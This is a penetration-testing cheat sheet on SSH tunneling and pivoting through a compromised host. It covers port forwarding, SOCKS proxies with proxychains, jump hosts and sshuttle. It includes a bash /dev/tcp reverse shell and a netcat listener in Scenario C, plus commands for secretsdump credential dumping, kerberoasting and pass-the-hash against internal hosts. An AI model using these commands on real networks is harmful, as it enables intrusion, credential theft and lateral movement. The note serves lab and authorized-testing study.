SSH Tunneling — Complete Reference
External: Internal All The Things — Network Pivoting
SSH tunneling is the first thing to try when you have SSH access to a pivot host. No extra binaries needed — it’s built in.
See SSH for full SSH reference (auth, flags, file transfer, etc.). This note focuses purely on tunneling.
Quick Decision Guide
| Need | Command |
|---|---|
| Reach one internal port | -L local forward |
| Expose your listener on the pivot | -R remote forward |
| Route all tools through pivot | -D SOCKS + Proxychains |
| VPN-like full subnet access | sshuttle |
| SSH through a pivot to reach another host | -J jump host |
📌 1) Local Port Forwarding (-L)
Use case: You can’t reach an internal service directly, but your pivot host can.
Attacker:LOCAL_PORT → [SSH to Pivot] → REMOTE_HOST:REMOTE_PORT
# Syntax
ssh -L [bind:]LOCAL_PORT:REMOTE_HOST:REMOTE_PORT user@PIVOT -N
# Access internal web app (pivot reaches 172.16.0.5:80, you can't)
ssh -L 8080:172.16.0.5:80 user@10.10.10.5 -N
# Now browse http://127.0.0.1:8080 on your Kali
# Access internal RDP
ssh -L 3389:172.16.0.10:3389 user@10.10.10.5 -N
xfreerdp3 /u:admin /p:password /v:127.0.0.1
# Access internal SMB
ssh -L 445:172.16.0.10:445 user@10.10.10.5 -N
smbclient //127.0.0.1/Share -U admin
# Access MySQL running only on localhost of the pivot
ssh -L 3306:127.0.0.1:3306 user@10.10.10.5 -N
mysql -h 127.0.0.1 -u root -p
# Run in background (returns terminal)
ssh -f -N -L 8080:172.16.0.5:80 user@10.10.10.5Key flags:
-N— don’t execute a command (keeps tunnel open cleanly)-f— background the process after auth127.0.0.1as REMOTE_HOST means localhost on the pivot, not on you
📌 2) Remote Port Forwarding (-R)
Use case: The pivot can’t reach you (firewalled), but you need it to tunnel traffic back. Also useful to catch reverse shells.
SSH Server (Pivot):REMOTE_PORT → Attacker:LOCAL_PORT
# Syntax
ssh -R [bind:]REMOTE_PORT:LOCAL_HOST:LOCAL_PORT user@PIVOT -N
# Expose attacker's netcat listener (port 4444) on the pivot
# Any connection to pivot:4444 routes back to attacker:4444
ssh -R 4444:127.0.0.1:4444 user@10.10.10.5 -N
# Expose attacker's HTTP server on the pivot's port 8080
# (pivot machines in the internal network can now download files from "pivot:8080")
ssh -R 8080:127.0.0.1:80 user@10.10.10.5 -N
# On attacker — set up reverse shell listener
nc -lvnp 4444
# Trigger the shell from the internal network → it connects to pivot:4444 → routes to youTip: For remote forwarding to bind on non-localhost interfaces on the pivot, the pivot’s
/etc/ssh/sshd_configmust haveGatewayPorts yes. This is often not the default.
📌 3) Dynamic Port Forwarding — SOCKS Proxy (-D)
Use case: Route any tool through the pivot to reach the whole internal network — one tunnel instead of many -L forwards.
One tunnel vs many -L
Pivot can reach multiple internal services:
127.0.0.1:80 127.0.0.1:5432 127.0.0.1:8080
10.10.20.15:445 10.10.20.20:3389| Approach | Commands | Downside |
|---|---|---|
Local -L | One ssh -L per port/host | Many terminals, easy to forget a service |
Dynamic -D | Single ssh -D 1080 + proxychains | Tools must use SOCKS; nmap needs -sT -Pn |
# Many local forwards ( tedious )
ssh -L 8080:127.0.0.1:80 user@PIVOT -N
ssh -L 5432:127.0.0.1:5432 user@PIVOT -N
ssh -L 3389:10.10.20.20:3389 user@PIVOT -N
# One dynamic forward ( preferred for full internal enum )
ssh -D 1080 user@PIVOT -N -f# Open SOCKS5 proxy on attacker's port 1080
ssh -D 1080 user@10.10.10.5 -N -f
# Open SOCKS5 on port 9050 (proxychains default — skips config edit)
ssh -D 9050 user@10.10.10.5 -N -f
# Background tunnel with key auth
ssh -i id_rsa -D 1080 user@10.10.10.5 -N -f -o StrictHostKeyChecking=noConfigure Proxychains
# /etc/proxychains4.conf
dynamic_chain
proxy_dns
[ProxyList]
socks5 127.0.0.1 1080Use Tools Through the Proxy
# Nmap — MUST use -sT -Pn through SOCKS
proxychains nmap -sT -Pn --top-ports 100 172.16.0.0/24
proxychains -q nmap -sT -Pn -p 22,80,443,445,3389 172.16.0.10
# Common tools
proxychains curl http://172.16.0.10
proxychains gobuster dir -u http://172.16.0.10 -w /usr/share/wordlists/dirb/common.txt
proxychains evil-winrm -i 172.16.0.10 -u admin -p password
proxychains crackmapexec smb 172.16.0.0/24 -u user -p pass
proxychains impacket-psexec domain/admin:pass@172.16.0.10
proxychains python3 exploit.py
proxychains xfreerdp3 /u:admin /p:password /v:172.16.0.10📌 4) Jump Host (-J)
Use case: SSH to a host deep in the network through one or more pivots, in a single command.
# SSH through pivot (10.10.10.5) to reach internal host (172.16.0.10)
ssh -J user@10.10.10.5 admin@172.16.0.10
# Multiple hops (chain them with commas)
ssh -J user@10.10.10.5,admin@172.16.0.10 root@192.168.1.5
# With private keys at each hop
ssh -J user@10.10.10.5 -i internal_key.rsa admin@172.16.0.10
# ProxyJump in ~/.ssh/config (cleaner)
Host pivot
HostName 10.10.10.5
User user
IdentityFile ~/.ssh/id_rsa
Host internal
HostName 172.16.0.10
User admin
ProxyJump pivot📌 5) sshuttle — VPN-Like Tunnel
Full reference → sshuttle
sudo sshuttle -r user@10.10.10.5 172.16.0.0/24
sudo sshuttle -r user@10.10.10.5 172.16.0.0/24 --ssh-cmd "ssh -i id_rsa"sshuttle vs proxychains: sshuttle — no proxychains for most tools. Use proxychains for Nmap; prefer Ligolo-ng for full subnet SYN scans.
📌 6) Background Tunnels & Management
# Start tunnel in background
ssh -f -N -D 1080 user@10.10.10.5
ssh -f -N -L 8080:172.16.0.5:80 user@10.10.10.5
# Find and kill a background tunnel
ps aux | grep ssh
kill <PID>
# Or use pgrep
pkill -f "ssh -f"Add a Tunnel to an Existing Live Session
You don’t have to reconnect to add a new port forward to an active SSH session:
# In a live SSH session, press: Enter → ~ → C
# A prompt appears:
ssh> -L 8888:172.16.0.5:80
# Press Enter — tunnel added without reconnecting📌 7) Common Tunneling Scenarios
Scenario A — Reach an internal web app
# Pivot: 10.10.10.5 (SSH access)
# Target: 172.16.0.5:80 (only reachable from pivot's network)
ssh -L 8080:172.16.0.5:80 user@10.10.10.5 -N -f
# Browse: http://127.0.0.1:8080Scenario B — Full internal subnet scan
# Open SOCKS proxy
ssh -D 1080 user@10.10.10.5 -N -f
# Scan through proxychains
proxychains -q nmap -sT -Pn --top-ports 50 172.16.0.0/24Scenario C — Catch a reverse shell from the internal network
# The internal host (172.16.0.20) needs to connect back to you
# But it can only reach 10.10.10.5 (the pivot)
# Step 1: Remote forward — expose attacker port 4444 on the pivot
ssh -R 4444:127.0.0.1:4444 user@10.10.10.5 -N -f
# Step 2: Start listener on attacker
nc -lvnp 4444
# Step 3: Trigger reverse shell on internal host pointing to PIVOT:4444
bash -i >& /dev/tcp/10.10.10.5/4444 0>&1
# Shell routes through pivot back to your listenerScenario D — RDP to an internal Windows host
ssh -L 3389:172.16.0.10:3389 user@10.10.10.5 -N -f
xfreerdp3 /u:Administrator /p:Password1 /v:127.0.0.1Scenario E — Use impacket tools on internal AD
# SOCKS proxy
ssh -D 1080 user@10.10.10.5 -N -f
# Run AD tools through proxychains
proxychains impacket-GetUserSPNs domain/user:pass -dc-ip 172.16.0.1 -request
proxychains impacket-secretsdump domain/admin:pass@172.16.0.10
proxychains crackmapexec smb 172.16.0.0/24 -u admin -H NT_HASH📌 8) SSH on Windows (Reverse Shell → Tunnel)
If you land a shell on a Windows machine and need to tunnel through it:
# Check if SSH is available
ssh -V
where ssh
# Windows 10/Server 2019+ have built-in OpenSSH
# Start the SSH service if needed (requires admin)
Start-Service sshd
Set-Service -Name sshd -StartupType Automatic
# Create local forward from Windows pivot
ssh -L 8080:172.16.0.5:80 user@KALI_IP -N
# or dynamic SOCKS
ssh -D 1080 user@KALI_IP -NFor older Windows without SSH — use Plink or Chisel. See Windows Tunneling.
📌 Quick Cheat Sheet (Copy/Paste)
# Local forward (reach internal service from attacker)
ssh -L 8080:INTERNAL_HOST:80 user@PIVOT -N -f
# Remote forward (expose attacker's port on the pivot)
ssh -R 4444:127.0.0.1:4444 user@PIVOT -N -f
# Dynamic SOCKS proxy (route all tools through pivot)
ssh -D 1080 user@PIVOT -N -f
# Then: proxychains <tool>
# Jump host (SSH through pivot to reach internal host)
ssh -J user@PIVOT admin@INTERNAL_HOST
# sshuttle (VPN-like — whole subnet, no proxychains)
sudo sshuttle -r user@PIVOT 172.16.0.0/24
# Background tunnel management
ps aux | grep ssh
kill <PID>
# Add tunnel to live session
# In SSH session: Enter → ~ → C → type -L or -R → Enter